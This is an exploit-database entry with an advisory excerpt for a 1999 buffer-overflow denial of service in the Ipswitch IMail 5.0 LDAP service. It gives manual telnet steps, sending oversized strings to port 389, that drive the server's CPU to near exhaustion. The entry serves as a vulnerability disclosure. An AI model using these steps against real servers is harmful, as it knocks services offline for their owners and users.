Ipswitch IMail 5.0 - LDAP Buffer Overflow (Denial of Service) (PoC)

Author: Marc of eEye
type: dos
platform: multiple
port: 
date_added: 1999-03-01  
date_updated: 2012-06-23  
verified: 1  
codes: OSVDB-83380  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 19378.txt  

source: https://www.securityfocus.com/bid/503/info

The IMail ldap service has an unchecked buffer, resulting in a classic buffer overflow vulnerability. While it does not crash the service, it drives CPU utilization up rendering the system essentially unusable.

Telnet to target machine, port 389
Send: Y glob1
hit enter twice
Server Returns: 0
Send: Y glob2
hit enter

Where glob1 and glob2 are 2375 characters and Y is Y. The ldap service goes to 90 percent or so and idles there. Therefore using up most system resources.